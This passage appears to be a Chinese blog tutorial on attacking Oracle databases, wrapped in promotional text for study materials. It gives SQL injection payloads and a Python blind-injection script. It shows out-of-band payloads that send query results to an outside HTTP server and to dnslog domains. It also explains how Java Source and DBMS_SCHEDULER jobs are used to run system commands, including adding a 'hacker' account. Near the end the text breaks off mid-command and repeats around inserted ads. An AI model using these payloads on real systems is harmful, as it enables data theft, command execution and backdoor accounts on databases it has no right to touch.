网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
?ename=-1' or 1=utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') --+
布尔盲注
方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。
?ename=-1' or ascii(substr((select user from dual),1,1))>65--+
下面给出布尔盲注脚本:
import requests
import time
url = 'http://192.168.2.134:8080/search.jsp?ename='
cookies = { # 如果目标网站要事先登录,就加上cookies吧
"PHPSESSID": "c8ab8r49nd2kk0qfhs0dcaktl3"
}
flag = ''
for i in range(1, 90000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = url + "-1' or ascii(substr((select user from dual),%d,1))>%d-- " % (i, mid)
res = requests.get(url=payload)
"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""
if 'SMITH' in res.text: # 为真时,即判断正确的时候的条件
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag = flag + chr(mid)
print(flag)
# S
# SC
# SCO
# SCOT
# SCOTT
时间盲注
Oracle 的 dbms_pipe.receive_message()
函数用来从指定管道获取消息。该函数接收两个参数,第一个参数用来指定管道名称,第二个参数用来指定等待时间。
image-20221220201511
执行以下 Payload,页面将有 2s 的明显延时。
?ename=SMITH' and 1=(dbms_pipe.receive_message('RDS',2))--+
因此,在 Oracle 数据库中可以通过 dbms_pipe.receive_message()
函数的延时作用来进行时间盲注。由于 Oracle 中没有 if()
函数,因此我们需要使用 decode()
函数或 case when
语句来代替。如下实例,当语句执行成功,页面延时 2s 返回即为 True。
- • 使用 decode 函数
?ename=SMITH' and 1=decode(substr((select user from dual),1,1),'S',dbms_pipe.receive_message('RDS',2),0)--+
- • 使用 case when 函数
?ename=SMITH' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',2) else 0 end)--+
带外通道(OOB)
带外通道(Out Of Band Channels,OOB)使用一些除常规通道以外的替代的信道来请求服务器资源,一般发送 HTTP 或者 DNS 请求,将查询结果带到请求中,然后监测外网服务器的 HTTP 和 DNS 日志,从日志中获取 SQL 语句的查询结果。这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。
需要注意的是,常用的可以发起 OOB 函数需要当前的数据库用户拥有网络访问权限。此外,还需要数据库服务器可以出网。
utl_http.request
-- 发起 HTTP 请求
?ename=-1' or 1=utl_http.request('http://192.168.2.135:2333/'%7c%7c(select banner from sys.v_$version where rownum=1))--
image-20221220224413215
utl_inaddr.get_host_address
-- 发起 DNS 请求
?ename=-1' or 1=utl_inaddr.get_host_address((select user from dual)%7c%7c'.btzq7f.dnslog.cn')--+
image-20221220224216939
sys.dbms_ldap.init
?ename=-1' or (select sys.dbms_ldap.init((select user from dual)%7c%7c'.esilh0.dnslog.cn',80) from dual) is not null--+
httpuritype
?ename=-1' or (select httpuritype('http://192.168.2.135:2333/'%7c%7c(select user from dual)).getclob() from dual) is not null--+
Oracle 相关攻击面
Java Source
从 Oracle 8i 开始,Oracle Database 允许在数据库中存储和执行 Java,并提供了 Java 池,用于存放 Java 代码、Java 语句的语法分析表、Java 语句的执行方案和 Java 虚拟机中的数据,以便进行 Java 程序开发。
在实际利用中,如果我们获取了 Oracle 管理员级别的用户凭据,可以使用 SQL 语句直接从 Java 源代码创建函数或存储过程,从而执行系统命令。默认情况下,创建的创建函数或存储过程是在创建者的架构中创建的。
所需的利用条件如下:
-
• 当前用户具有 CREATE SESSION 权限
-
• 当前用户具有相关 Java 权限:
- • java.io.FilePermission
- • writeFileDescriptor
- • readFileDescriptor
对于第一条,普通用户基本都拥有 CREATE SESSION 权限并能够创建函数和存储过程,但是如果想要执行 Java 或通过 Java 执行系统命令,则必须具备这三条权限。在 Oracle 数据库中,只有 DBA 级别的用户默认拥有着三条 Java 权限,其余用户正常情况下需要由管理员来授予,相关命令如下。
-- 授予相关 Java 权限
exec dbms_java.grant_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
-- 撤销相关 Java 权限
exec dbms_java.revoke_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
下面笔者通过 Java Source,分别演示创建函数和存储过程的方法。
Function
下面演示创建函数的具体步骤。
(1)创建 Java Source,并命名为 JavaUtil。
create or replace and resolve java source named "JavaUtil" as
import java.io.*;
public class JavaUtil extends Object
{
public static String ExecCommand(String cmd)
{
try {
BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String stemp,str = "";
while ((stemp = myReader.readLine()) != null) str += stemp + "\n";
myReader.close();
return str;
} catch (Exception e){
return e.toString();
}
}
}
/
(2)从 JavaUtil 创建一个函数 ExecCommand,用于执行系统命令。
create or replace function ExecCommand(cmd in varchar2) return varchar2
as
language java
name 'JavaUtil.ExecCommand(java.lang.String) return String';
/
(3)调用 ExecCommand 函数,执行系统命令,执行结果如下图所示。
select ExecCommand('whoami') from dual;
image-20221221201552607
(4)利用结束后,删除创建的 Java Source 和函数。
drop function ExecCommand;
drop java source "JavaUtil";
Store Procedure
下面演示创建存储过程的具体步骤。值得注意的是,通过存储过程执行命令无法获得执行回显,但可以通过写文件等方式获取执行结果。
(1)创建 Java Source,并命名为 JavaUtil。
create or replace and resolve java source named "JavaUtil" as
import java.lang.*;
import java.io.*;
public class JavaUtil
{
public static void ExecCommand(String cmd) throws IOException
{
Runtime.getRuntime().exec(cmd);
}
}
/
(2)从 JavaUtil 创建一个存储过程 ExecCommand,用于执行系统命令.
create or replace procedure ExecCommand(cmd varchar2)
as
language java
name 'JavaUtil.ExecCommand(java.lang.String)';
/
(3)执行 ExecCommand 存储过程,在系统上创建一个新用户,执行结果如下图所示。
exec ExecCommand('net user hacker Hacker@123 /add');
image-20221221201928028
(4)利用结束后,删除创建的 Java Source 和存储过程。
drop procedure ExecCommand;
drop java source "JavaUtil";
Scheduler
在 Oracle 11g 中推出了 Scheduler,这是一个企业作业调度程序,可帮助用户简化数百甚至数千个任务的调度。Oracle 调度程序(Scheduler)是由 DBMS_SCHEDULER PL/SQL 包中的过程和函数实现的。
在实际利用中,如果我们获取了 Oracle 管理员级别的用户凭据,可以通过 DBMS_SCHEDULER 包中存储过程创建程序/作业对象,来调度操作系统的可执行文件或脚本,从而执行系统命令。
所需的利用条件如下:
- • Oracle 服务器支持 Scheduler
- • 当前用户具有 DBA 级别的权限。所需的具体系统权限可以参考下图。
image-20221221235158140
下面笔者演示相关利用步骤。
(1)使用 CREATE_PROGRAM
过程创建一个程序,如下所示。
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name => 'EXEC_PROGRAM',
program_type => 'EXECUTABLE',
program_action => 'net user hacker Hacker@123 /add',
number_of_arguments => 0,
enabled => TRUE
);
END;
/
-- EXEC DBMS_SCHEDULER.CREATE_PROGRAM('EXEC_PROGRAM', 'EXECUTABLE', 'net user hacker Hacker@123 /add', 0, TRUE);
其中 program_action
是这个程序的行为,它可以是操作系统中的可执行文件或 PL/SQL 的文本。将 enabled
设为 TURE
表示立即启用程序。
默认情况下,程序是在创建者的架构中创建的,为了让其他用户使用该程序,就必须授予他们 EXECUTE 权限。
(2)通过 CREATE_JOB
过程创建作业对象,当作业启动时执行第一步中创建的程序 EXEC_PROGRAM
,如下所示。该过程有很多重载,关于不同重载的定义请读者自行查阅其官方文档:CREATE_JOB Procedure
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name => 'EXEC_JOB',
program_name => 'EXEC_PROGRAM',
start_date => NULL,
repeat_interval => NULL,
end_date => NULL,
enabled => TRUE,
auto_drop => TRUE
);
END;
/
-- EXEC DBMS_SCHEDULER.CREATE_JOB('EXEC_JOB', 'EXEC_PROGRAM', NULL, NULL, NULL, 'DEFAULT_JOB_CLASS', TRUE, TRUE, NULL, 'REGULAR', NULL, NULL);
执行结果如下图所示。
此外,也可以通过 CREATE_JOB
直接创建作业对象来执行命令,无需创建程序对象,如下所示。
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'EXEC_JOB',
job_type => 'EXECUTABLE',
job_action => 'net user hacker Hacker@123 /add',
start_date => NULL,
repeat_interval => NULL,
end_date => NULL,
enabled => TRUE,
auto_drop => TRUE
);
END;
/
-- EXEC DBMS_SCHEDULER.CREATE_JOB('EXEC_JOB', 'EXECUTABLE', 'net user hacker Hacker@1
![img](https://img-blog.csdnimg.cn/img_convert/bdb16dcacc76f66f743444e8f7f1ce3f.png)
![img](https://img-blog.csdnimg.cn/img_convert/3f06b10dff7f5530995340a8a45ce217.png)
![img](https://img-blog.csdnimg.cn/img_convert/461dad4927591d8518869917b0836835.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[如果你需要这些资料,可以戳这里获取](https://bbs.csdn.net/topics/618658159)**
);
END;
/
-- EXEC DBMS_SCHEDULER.CREATE_JOB('EXEC_JOB', 'EXECUTABLE', 'net user hacker Hacker@1
[外链图片转存中...(img-92RPKgYc-1715667242289)]
[外链图片转存中...(img-ol74bgSl-1715667242290)]
[外链图片转存中...(img-S4jhoZxC-1715667242290)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[如果你需要这些资料,可以戳这里获取](https://bbs.csdn.net/topics/618658159)**